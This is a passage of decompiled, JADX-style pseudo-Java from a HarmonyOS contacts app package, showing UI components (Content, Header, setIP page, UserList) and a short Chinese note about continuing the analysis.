        obj3 = super(arg0, arg2, obj, arg5);
        if (("function" == typeof(obj2) ? 1 : 0) != 0) {
            obj3.paramsGenerator_ = obj2;
        }
        obj3.setInitiallyProvidedValue(arg1);
        obj3.finalizeConstruction();
        return obj3;
    }

    public Object #~@0>#rerender(Object functionObject, Object newTarget, Content this) {
        this.updateDirtyElements();
        return null;
    }

    public Object #~@0>#initialRender(Object functionObject, Object newTarget, Content this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        ldlexvar = _lexenv_0_1_;
        ldlexvar.observeComponentCreation2(#~@0>@1*#, Column);
        ldlexvar2 = _lexenv_0_1_;
        ldlexvar2.observeComponentCreation2(#~@0>@1*#^1, GridRow);
        ldlexvar3 = _lexenv_0_1_;
        ldlexvar3.observeComponentCreation2(#~@0>@1*#^2, GridCol);
        ldlexvar4 = _lexenv_0_1_;
        ldlexvar4.observeComponentCreation2(#~@0>@1*#^3, createobjectwithbuffer(["name", "UserList"]));
        GridCol.pop();
        GridRow.pop();
        ldlexvar5 = _lexenv_0_1_;
        ldlexvar5.observeComponentCreation2(#~@0>@1*#^4, Text);
        Text.pop();
        Column.pop();
        return null;
    }

    public Object #~@0>#updateStateVars(Object functionObject, Object newTarget, Content this, Object arg0) {
        return null;
    }

    public Object #~@0>#aboutToBeDeleted(Object functionObject, Object newTarget, Content this) {
        Get = SubscriberManager.Get();
        Get.delete(this.id__());
        this.aboutToBeDeletedInternal();
        return null;
    }

    public Object #~@0>@1*^3*#paramsLambda(Object functionObject, Object newTarget, Content this) {
        return createemptyobject();
    }

    public Object #~@0>#setInitiallyProvidedValue(Object functionObject, Object newTarget, Content this, Object arg0) {
        return null;
    }

    public Object #~@0>#purgeVariableDependenciesOnElmtId(Object functionObject, Object newTarget, Content this, Object arg0) {
        return null;
    }
}

package p001entry/src/main/ets/components;

/* renamed from: &entry/src/main/ets/components/Header&, reason: invalid class name */
/* loaded from: F:\Download\contacts.hap\contacts\ets\modules.abc */
public class Header {
    public Object pkgName@entry;
    public Object isCommonjs;
    public Object hasTopLevelAwait;
    public Object isSharedModule;
    public Object scopeNames;
    public Object moduleRecordIdx;

    public Object #*#(Object functionObject, Object newTarget, Header this) {
        return null;
    }

    public Object #~@0>@1*#(Object functionObject, Object newTarget, Header this, Object arg0, Object arg1) {
        Row.create();
        Row.width(import { StyleConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/StyleConstants&".FULL_WIDTH);
        obj = Row.height;
        obj2 = createobjectwithbuffer(["id", 16777326, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        Row.zIndex(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".Z_INDEX);
        return null;
    }

    public Object #~@0>@1*#^1(Object functionObject, Object newTarget, Header this, Object arg0, Object arg1) {
        obj = Text.create;
        obj2 = createobjectwithbuffer(["id", 16777236, "type", 10003, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        Text.fontWeight(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".TITLE_FONT_WEIGHT);
        obj3 = Text.fontColor;
        obj4 = createobjectwithbuffer(["id", 16777245, "type", 10001, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj3(obj4);
        obj5 = Text.opacity;
        obj6 = createobjectwithbuffer(["id", 16777327, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj6.params = [Object];
        obj5(obj6);
        Text.letterSpacing(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".LETTER_SPACING);
        obj7 = Text.padding;
        obj8 = createobjectwithbuffer(["left", 0]);
        obj9 = createobjectwithbuffer(["id", 16777328, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj9.params = [Object];
        obj8.left = obj9;
        obj7(obj8);
        Text.fontSize("20vp");
        return null;
    }

    public Object #~@0>@1*#^2(Object functionObject, Object newTarget, Header this, Object arg0, Object arg1) {
        Blank.create();
        return null;
    }

    public Object #~@0>@1*#^3(Object functionObject, Object newTarget, Header this, Object arg0, Object arg1) {
        obj = Text.create;
        obj2 = createobjectwithbuffer(["id", 16777234, "type", 10003, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        Text.fontWeight(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".TITLE_FONT_WEIGHT);
        obj3 = Text.fontColor;
        obj4 = createobjectwithbuffer(["id", 16777245, "type", 10001, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj3(obj4);
        obj5 = Text.opacity;
        obj6 = createobjectwithbuffer(["id", 16777327, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj6.params = [Object];
        obj5(obj6);
        Text.letterSpacing(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".LETTER_SPACING);
        obj7 = Text.padding;
        obj8 = createobjectwithbuffer(["left", 0]);
        obj9 = createobjectwithbuffer(["id", 16777328, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj9.params = [Object];
        obj8.left = obj9;
        obj7(obj8);
        Text.onClick(#~@0>@1*^3*#);
        Text.fontSize("20vp");
        return null;
    }

    /* JADX WARN: Type inference failed for: r13v7, types: [boolean, int] */
    public Object func_main_0(Object functionObject, Object newTarget, Header this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        if (isIn("finalizeConstruction", ViewPU.prototype) == false) {
            Reflect.set(ViewPU.prototype, "finalizeConstruction", #*#);
        }
        obj = ViewPU.#~@0=#Header(Object2, Object3, ViewPU, ["setInitiallyProvidedValue", "&entry/src/main/ets/components/Header&.#~@0>#setInitiallyProvidedValue", 1, "updateStateVars", "&entry/src/main/ets/components/Header&.#~@0>#updateStateVars", 1, "purgeVariableDependenciesOnElmtId", "&entry/src/main/ets/components/Header&.#~@0>#purgeVariableDependenciesOnElmtId", 1, "aboutToBeDeleted", "&entry/src/main/ets/components/Header&.#~@0>#aboutToBeDeleted", 0, "initialRender", "&entry/src/main/ets/components/Header&.#~@0>#initialRender", 0, "rerender", "&entry/src/main/ets/components/Header&.#~@0>#rerender", 0, 6]);
        obj2 = obj.prototype;
        _module_0_ = obj;
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r16v0, types: [&entry/src/main/ets/components/Header&] */
    /* JADX WARN: Type inference failed for: r23v34, types: [int] */
    public Object #~@0=#Header(Object functionObject, Object newTarget, Header this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
        obj = arg3;
        obj2 = arg4;
        if ((0 == obj ? 1 : 0) != 0) {
            obj = -1;
        }
        if ((0 == obj2 ? 1 : 0) != 0) {
            obj2 = null;
        }
        obj3 = super(arg0, arg2, obj, arg5);
        if (("function" == typeof(obj2) ? 1 : 0) != 0) {
            obj3.paramsGenerator_ = obj2;
        }
        obj3.setInitiallyProvidedValue(arg1);
        obj3.finalizeConstruction();
        return obj3;
    }

    public Object #~@0>@1*^3*#(Object functionObject, Object newTarget, Header this) {
        router = import { default as router } from "@ohos:router";
        pushUrl = router.pushUrl(createobjectwithbuffer(["url", "pages/setIP"]));
        pushUrl.catch(#~@0>@1*^3**#);
        return null;
    }

    public Object #~@0>@1*^3**#(Object functionObject, Object newTarget, Header this, Object arg0) {
        return null;
    }

    public Object #~@0>#rerender(Object functionObject, Object newTarget, Header this) {
        this.updateDirtyElements();
        return null;
    }

    public Object #~@0>#initialRender(Object functionObject, Object newTarget, Header this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        ldlexvar = _lexenv_0_1_;
        ldlexvar.observeComponentCreation2(#~@0>@1*#, Row);
        ldlexvar2 = _lexenv_0_1_;
        ldlexvar2.observeComponentCreation2(#~@0>@1*#^1, Text);
        Text.pop();
        ldlexvar3 = _lexenv_0_1_;
        ldlexvar3.observeComponentCreation2(#~@0>@1*#^2, Blank);
        Blank.pop();
        ldlexvar4 = _lexenv_0_1_;
        ldlexvar4.observeComponentCreation2(#~@0>@1*#^3, Text);
        Text.pop();
        Row.pop();
        return null;
    }

    public Object #~@0>#updateStateVars(Object functionObject, Object newTarget, Header this, Object arg0) {
        return null;
    }

    public Object #~@0>#aboutToBeDeleted(Object functionObject, Object newTarget, Header this) {
        Get = SubscriberManager.Get();
        Get.delete(this.id__());
        this.aboutToBeDeletedInternal();
        return null;
    }

    public Object #~@0>#setInitiallyProvidedValue(Object functionObject, Object newTarget, Header this, Object arg0) {
        return null;
    }

    public Object #~@0>#purgeVariableDependenciesOnElmtId(Object functionObject, Object newTarget, Header this, Object arg0) {
        return null;
    }
}

继续去看setIP和Userlist

package p001entry/src/main/ets/pages;

/* renamed from: &entry/src/main/ets/pages/setIP&, reason: invalid class name */
/* loaded from: F:\Download\contacts.hap\contacts\ets\modules.abc */
public class setIP {
    public Object pkgName@entry;
    public Object isCommonjs;
    public Object hasTopLevelAwait;
    public Object isSharedModule;
    public Object scopeNames;
    public Object moduleRecordIdx;

    public Object #*#(Object functionObject, Object newTarget, setIP this) {
        return null;
    }

    /* JADX WARN: Type inference failed for: r10v0, types: [java.lang.Class] */
    public Object #*#^1(Object functionObject, Object newTarget, setIP this) {
        return _lexenv_0_1_(null, createemptyobject());
    }

    public Object #~@0>@1*#(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        TextInput.create(createobjectwithbuffer(["placeholder", "请输入IP"]));
        TextInput.inputFilter("[0-9.:]", #~@0>@1**#);
        TextInput.onChange(#~@0>@1**#^1);
        return null;
    }

    public Object #~@2>@1*#(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        RelativeContainer.create();
        RelativeContainer.height("100%");
        RelativeContainer.width("100%");
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    public Object #~@0>@1**#(Object functionObject, Object newTarget, setIP this, Object arg0) {
        promptAction = import { default as promptAction } from "@ohos:promptAction";
        obj = promptAction.showToast;
        obj2 = createobjectwithbuffer(["message", 0]);
        obj2.message = arg0 + "非正确ip格式内容";
        obj(obj2);
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r17v0, types: [&entry/src/main/ets/pages/setIP&] */
    /* JADX WARN: Type inference failed for: r24v40, types: [int] */
    public Object #~@2=#setIP(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
        obj = arg3;
        obj2 = arg4;
        if ((0 == obj ? 1 : 0) != 0) {
            obj = -1;
        }
        if ((0 == obj2 ? 1 : 0) != 0) {
            obj2 = null;
        }
        obj3 = super(arg0, arg2, obj, arg5);
        if (("function" == typeof(obj2) ? 1 : 0) != 0) {
            obj3.paramsGenerator_ = obj2;
        }
        obj3.__inputIP = ObservedPropertySimplePU("", obj3, "inputIP");
        obj3.setInitiallyProvidedValue(arg1);
        obj3.finalizeConstruction();
        return obj3;
    }

    public Object #~@2>@1*#^1(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        Row.create();
        Row.width(import { StyleConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/StyleConstants&".FULL_WIDTH);
        obj = Row.height;
        obj2 = createobjectwithbuffer(["id", 16777326, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        Row.zIndex(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".Z_INDEX);
        return null;
    }

    public Object #~@2>@1*#^2(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        obj = Image.create;
        obj2 = createobjectwithbuffer(["id", 16777332, "type", 20000, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        obj3 = Image.width;
        obj4 = createobjectwithbuffer(["id", 16777272, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj3(obj4);
        obj5 = Image.height;
        obj6 = createobjectwithbuffer(["id", 16777270, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj6.params = [Object];
        obj5(obj6);
        obj7 = Image.margin;
        obj8 = createobjectwithbuffer(["left", 0]);
        obj9 = createobjectwithbuffer(["id", 16777271, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj9.params = [Object];
        obj8.left = obj9;
        obj7(obj8);
        Image.onClick(#~@2>@1*^2*#);
        return null;
    }

    public Object #~@2>@1*#^3(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        obj = Text.create;
        obj2 = createobjectwithbuffer(["id", 16777224, "type", 10003, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        Text.fontWeight(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".TITLE_FONT_WEIGHT);
        obj3 = Text.fontColor;
        obj4 = createobjectwithbuffer(["id", 16777245, "type", 10001, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj3(obj4);
        obj5 = Text.opacity;
        obj6 = createobjectwithbuffer(["id", 16777327, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj6.params = [Object];
        obj5(obj6);
        return null;
    }

    public Object #~@2>@1*#^4(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        Column.create();
        obj = Column.alignRules;
        obj2 = createobjectwithbuffer(["center", 0, "middle", 0]);
        obj3 = createobjectwithbuffer(["anchor", "__container__", "align", 0]);
        obj3.align = VerticalAlign.Center;
        obj2.center = obj3;
        obj4 = createobjectwithbuffer(["anchor", "__container__", "align", 0]);
        obj4.align = HorizontalAlign.Center;
        obj2.middle = obj4;
        obj(obj2);
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r21v10, types: [java.lang.Class] */
    public Object #~@2>@1*#^5(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        if (isfalse(arg1) != null) {
            ldlexvar = _lexenv_0_1_;
            ldlexvar.updateStateVarsOfChildByElmtId(arg0, createemptyobject());
            return null;
        }
        ldlexvar2 = _lexenv_1_0_;
        ldlexvar3 = _lexenv_0_1_;
        obj = createobjectwithbuffer(["onTextChange", 0]);
        obj.onTextChange = #~@2>@1*^5*#onTextChange;
        newobjrange = ldlexvar2(ldlexvar3, obj, null, arg0, #~@2>@1*^5*#, createobjectwithbuffer(["page", "entry/src/main/ets/pages/setIP.ets", "line", 47, "col", 11]));
        ViewPU.create(newobjrange);
        newobjrange.paramsGenerator_ = #~@2>@1*^5*#paramsLambda;
        return null;
    }

    public Object #~@2>@1*#^6(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1) {
        Button.createWithLabel("确认");
        Button.fontWeight(import { HeaderConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/HeaderConstants&".TITLE_FONT_WEIGHT);
        obj = Button.fontColor;
        obj2 = createobjectwithbuffer(["id", 16777245, "type", 10001, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        obj3 = Button.opacity;
        obj4 = createobjectwithbuffer(["id", 16777327, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj3(obj4);
        Button.onClick(#~@2>@1*^6*#);
        return null;
    }

    /* JADX WARN: Type inference failed for: r16v7, types: [boolean, int] */
    public Object func_main_0(Object functionObject, Object newTarget, setIP this) {
        newlexenvwithname([4, "ipSetComponent", 0, "setIP", 1, "4newTarget", 2, "this", 3], 4);
        _lexenv_0_2_ = newTarget;
        _lexenv_0_3_ = this;
        if (isIn("finalizeConstruction", ViewPU.prototype) == false) {
            Reflect.set(ViewPU.prototype, "finalizeConstruction", #*#);
        }
        obj = ViewPU.#~@0=#ipSetComponent(Object2, Object3, ViewPU, ["setInitiallyProvidedValue", "&entry/src/main/ets/pages/setIP&.#~@0>#setInitiallyProvidedValue", 1, "updateStateVars", "&entry/src/main/ets/pages/setIP&.#~@0>#updateStateVars", 1, "purgeVariableDependenciesOnElmtId", "&entry/src/main/ets/pages/setIP&.#~@0>#purgeVariableDependenciesOnElmtId", 1, "aboutToBeDeleted", "&entry/src/main/ets/pages/setIP&.#~@0>#aboutToBeDeleted", 0, "initialRender", "&entry/src/main/ets/pages/setIP&.#~@0>#initialRender", 0, "rerender", "&entry/src/main/ets/pages/setIP&.#~@0>#rerender", 0, 6]);
        obj2 = obj.prototype;
        _lexenv_0_0_ = obj;
        obj3 = ViewPU.#~@2=#setIP(Object2, Object3, ViewPU, ["setInitiallyProvidedValue", "&entry/src/main/ets/pages/setIP&.#~@2>#setInitiallyProvidedValue", 1, "updateStateVars", "&entry/src/main/ets/pages/setIP&.#~@2>#updateStateVars", 1, "purgeVariableDependenciesOnElmtId", "&entry/src/main/ets/pages/setIP&.#~@2>#purgeVariableDependenciesOnElmtId", 1, "aboutToBeDeleted", "&entry/src/main/ets/pages/setIP&.#~@2>#aboutToBeDeleted", 0, 4]);
        obj4 = obj3.prototype;
        obj4["inputIP"].getter = obj4.#~@2>#inputIP;
        obj4["inputIP"].setter = obj4.#~@2>#inputIP^1;
        obj4.initialRender = obj4.#~@2>#initialRender;
        obj4.rerender = obj4.#~@2>#rerender;
        obj3.getEntryName = obj3.#~@2<#getEntryName;
        _lexenv_0_1_ = obj3;
        registerNamedRoute(#*#^1, "", createobjectwithbuffer(["bundleName", "com.example.myapplication", "moduleName", "entry", "pagePath", "pages/setIP", "pageFullPath", "entry/src/main/ets/pages/setIP", "integratedHsp", "false", "moduleType", "followWithHap"]));
        return null;
    }

    /* JADX WARN: Type inference failed for: r12v2, types: [Object, int] */
    public Object #~@0>@1**#^1(Object functionObject, Object newTarget, setIP this, Object arg0) {
        if (isfalse(_lexenv_0_1_.onTextChange) != null) {
            return null;
        }
        ldlexvar = _lexenv_0_1_;
        ldlexvar.onTextChange(arg0);
        return null;
    }

    public Object #~@2>@1*^2*#(Object functionObject, Object newTarget, setIP this) {
        router = import { default as router } from "@ohos:router";
        router.back();
        return null;
    }

    public Object #~@2>@1*^5*#(Object functionObject, Object newTarget, setIP this) {
        return null;
    }

    public Object #~@2>@1*^6*#(Object functionObject, Object newTarget, setIP this) {
        global.ip = _lexenv_0_1_.inputIP;
        return null;
    }

    public Object #~@2>#inputIP(Object functionObject, Object newTarget, setIP this) {
        obj = this.__inputIP;
        return obj.get();
    }

    public Object #~@0>#rerender(Object functionObject, Object newTarget, setIP this) {
        this.updateDirtyElements();
        return null;
    }

    public Object #~@2>#rerender(Object functionObject, Object newTarget, setIP this) {
        this.updateDirtyElements();
        return null;
    }

    public Object #~@2>#inputIP^1(Object functionObject, Object newTarget, setIP this, Object arg0) {
        obj = this.__inputIP;
        obj.set(arg0);
        return null;
    }

    public Object #~@2<#getEntryName(Object functionObject, Object newTarget, setIP this) {
        return "setIP";
    }

    public Object #~@0>#initialRender(Object functionObject, Object newTarget, setIP this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        ldlexvar = _lexenv_0_1_;
        ldlexvar.observeComponentCreation2(#~@0>@1*#, TextInput);
        return null;
    }

    public Object #~@2>#initialRender(Object functionObject, Object newTarget, setIP this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        ldlexvar = _lexenv_0_1_;
        ldlexvar.observeComponentCreation2(#~@2>@1*#, RelativeContainer);
        ldlexvar2 = _lexenv_0_1_;
        ldlexvar2.observeComponentCreation2(#~@2>@1*#^1, Row);
        ldlexvar3 = _lexenv_0_1_;
        ldlexvar3.observeComponentCreation2(#~@2>@1*#^2, Image);
        ldlexvar4 = _lexenv_0_1_;
        ldlexvar4.observeComponentCreation2(#~@2>@1*#^3, Text);
        Text.pop();
        Row.pop();
        ldlexvar5 = _lexenv_0_1_;
        ldlexvar5.observeComponentCreation2(#~@2>@1*#^4, Column);
        ldlexvar6 = _lexenv_0_1_;
        ldlexvar6.observeComponentCreation2(#~@2>@1*#^5, createobjectwithbuffer(["name", "ipSetComponent"]));
        ldlexvar7 = _lexenv_0_1_;
        ldlexvar7.observeComponentCreation2(#~@2>@1*#^6, Button);
        Button.pop();
        Column.pop();
        RelativeContainer.pop();
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r16v0, types: [&entry/src/main/ets/pages/setIP&] */
    /* JADX WARN: Type inference failed for: r23v36, types: [int] */
    public Object #~@0=#ipSetComponent(Object functionObject, Object newTarget, setIP this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
        obj = arg3;
        obj2 = arg4;
        if ((0 == obj ? 1 : 0) != 0) {
            obj = -1;
        }
        if ((0 == obj2 ? 1 : 0) != 0) {
            obj2 = null;
        }
        obj3 = super(arg0, arg2, obj, arg5);
        if (("function" == typeof(obj2) ? 1 : 0) != 0) {
            obj3.paramsGenerator_ = obj2;
        }
        obj3.onTextChange = 0;
        obj3.setInitiallyProvidedValue(arg1);
        obj3.finalizeConstruction();
        return obj3;
    }

    public Object #~@0>#updateStateVars(Object functionObject, Object newTarget, setIP this, Object arg0) {
        return null;
    }

    public Object #~@2>#updateStateVars(Object functionObject, Object newTarget, setIP this, Object arg0) {
        return null;
    }

    public Object #~@0>#aboutToBeDeleted(Object functionObject, Object newTarget, setIP this) {
        Get = SubscriberManager.Get();
        Get.delete(this.id__());
        this.aboutToBeDeletedInternal();
        return null;
    }

    public Object #~@2>#aboutToBeDeleted(Object functionObject, Object newTarget, setIP this) {
        obj = this.__inputIP;
        obj.aboutToBeDeleted();
        Get = SubscriberManager.Get();
        Get.delete(this.id__());
        this.aboutToBeDeletedInternal();
        return null;
    }

    public Object #~@2>@1*^5*#onTextChange(Object functionObject, Object newTarget, setIP this, Object arg0) {
        _lexenv_0_1_.inputIP = arg0;
        return null;
    }

    public Object #~@2>@1*^5*#paramsLambda(Object functionObject, Object newTarget, setIP this) {
        obj = createobjectwithbuffer(["onTextChange", 0]);
        obj.onTextChange = #~@2>@1*^5*@3*#onTextChange;
        return obj;
    }

    public Object #~@2>@1*^5*@3*#onTextChange(Object functionObject, Object newTarget, setIP this, Object arg0) {
        _lexenv_0_1_.inputIP = arg0;
        return null;
    }

    public Object #~@0>#setInitiallyProvidedValue(Object functionObject, Object newTarget, setIP this, Object arg0) {
        if ((0 != arg0.onTextChange ? 1 : 0) == 0) {
            return null;
        }
        this.onTextChange = arg0.onTextChange;
        return null;
    }

    public Object #~@2>#setInitiallyProvidedValue(Object functionObject, Object newTarget, setIP this, Object arg0) {
        if ((0 != arg0.inputIP ? 1 : 0) == 0) {
            return null;
        }
        this.inputIP = arg0.inputIP;
        return null;
    }

    public Object #~@0>#purgeVariableDependenciesOnElmtId(Object functionObject, Object newTarget, setIP this, Object arg0) {
        return null;
    }

    public Object #~@2>#purgeVariableDependenciesOnElmtId(Object functionObject, Object newTarget, setIP this, Object arg0) {
        obj = this.__inputIP;
        obj.purgeDependencyOnElmtId(arg0);
        return null;
    }
}

package p001entry/src/main/ets/components;

/* renamed from: &entry/src/main/ets/components/UserList&, reason: invalid class name */
/* loaded from: F:\Download\contacts.hap\contacts\ets\modules.abc */
public class UserList {
    public Object pkgName@entry;
    public Object isCommonjs;
    public Object hasTopLevelAwait;
    public Object isSharedModule;
    public Object scopeNames;
    public Object moduleRecordIdx;

    public Object #*#(Object functionObject, Object newTarget, UserList this) {
        return null;
    }

    public Object #~@0>@1*#(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        Row.create();
        obj = Row.height;
        obj2 = createobjectwithbuffer(["id", 16777291, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        Row.width(import { StyleConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/StyleConstants&".FULL_WIDTH);
        return null;
    }

    public Object #~@0>@2*#(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        Column.create();
        obj = Column.padding;
        obj2 = createobjectwithbuffer(["bottom", 0]);
        obj3 = createobjectwithbuffer(["id", 16777286, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj3.params = [Object];
        obj2.bottom = obj3;
        obj(obj2);
        return null;
    }

    public Object #~@0>@1*#^1(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        obj = Image.create;
        obj2 = createobjectwithbuffer(["id", 16777232, "type", 20000, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj2.params = [Object];
        obj(obj2);
        Image.width("25vp");
        obj3 = Image.height;
        obj4 = createobjectwithbuffer(["id", 16777270, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj3(obj4);
        obj5 = Image.margin;
        obj6 = createobjectwithbuffer(["left", 0]);
        obj7 = createobjectwithbuffer(["id", 16777271, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj7.params = [Object];
        obj6.left = obj7;
        obj5(obj6);
        return null;
    }

    public Object #~@0>@1*#^2(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        Column.create();
        Column.alignItems(HorizontalAlign.Start);
        return null;
    }

    public Object #~@0>@1*#^3(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        obj = Text.create;
        utils = import { default as utils } from "@normalized:N&&&entry/src/main/ets/common/Utils/utils&";
        obj(utils.o0O0OOoo(_lexenv_0_0_.uid));
        Text.fontColor(Color.Black);
        obj2 = Text.margin;
        obj3 = createobjectwithbuffer(["bottom", 0]);
        obj4 = createobjectwithbuffer(["id", 16777295, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj3.bottom = obj4;
        obj2(obj3);
        return null;
    }

    public Object #~@0>@2*#^1(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        List.create();
        List.width(import { StyleConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/StyleConstants&".FULL_WIDTH);
        List.backgroundColor(Color.White);
        obj = List.margin;
        obj2 = createobjectwithbuffer(["top", 0]);
        obj3 = createobjectwithbuffer(["id", 16777285, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj3.params = [Object];
        obj2.top = obj3;
        obj(obj2);
        List.layoutWeight(1);
        obj4 = List.divider;
        obj5 = createobjectwithbuffer(["color", 0, "strokeWidth", 0, "startMargin", 0, "endMargin", 0]);
        obj6 = createobjectwithbuffer(["id", 16777239, "type", 10001, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj6.params = [Object];
        obj5.color = obj6;
        obj7 = createobjectwithbuffer(["id", 16777325, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj7.params = [Object];
        obj5.strokeWidth = obj7;
        obj8 = createobjectwithbuffer(["id", 16777294, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj8.params = [Object];
        obj5.startMargin = obj8;
        obj9 = createobjectwithbuffer(["id", 16777294, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj9.params = [Object];
        obj5.endMargin = obj9;
        obj4(obj5);
        return null;
    }

    /* JADX WARN: Type inference failed for: r15v7, types: [boolean, int] */
    public Object func_main_0(Object functionObject, Object newTarget, UserList this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        if (isIn("finalizeConstruction", ViewPU.prototype) == false) {
            Reflect.set(ViewPU.prototype, "finalizeConstruction", #*#);
        }
        obj = ViewPU.#~@0=#UserList(Object2, Object3, ViewPU, ["setInitiallyProvidedValue", "&entry/src/main/ets/components/UserList&.#~@0>#setInitiallyProvidedValue", 1, "updateStateVars", "&entry/src/main/ets/components/UserList&.#~@0>#updateStateVars", 1, "purgeVariableDependenciesOnElmtId", "&entry/src/main/ets/components/UserList&.#~@0>#purgeVariableDependenciesOnElmtId", 1, "aboutToBeDeleted", "&entry/src/main/ets/components/UserList&.#~@0>#aboutToBeDeleted", 0, 4]);
        obj2 = obj.prototype;
        obj2["username"].getter = obj2.#~@0>#username;
        obj2["username"].setter = obj2.#~@0>#username^1;
        obj2.UserItem = obj2.#~@0>#UserItem;
        obj2.initialRender = obj2.#~@0>#initialRender;
        obj2.rerender = obj2.#~@0>#rerender;
        _module_0_ = obj;
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r17v0, types: [&entry/src/main/ets/components/UserList&] */
    /* JADX WARN: Type inference failed for: r24v24 */
    /* JADX WARN: Type inference failed for: r24v59, types: [int] */
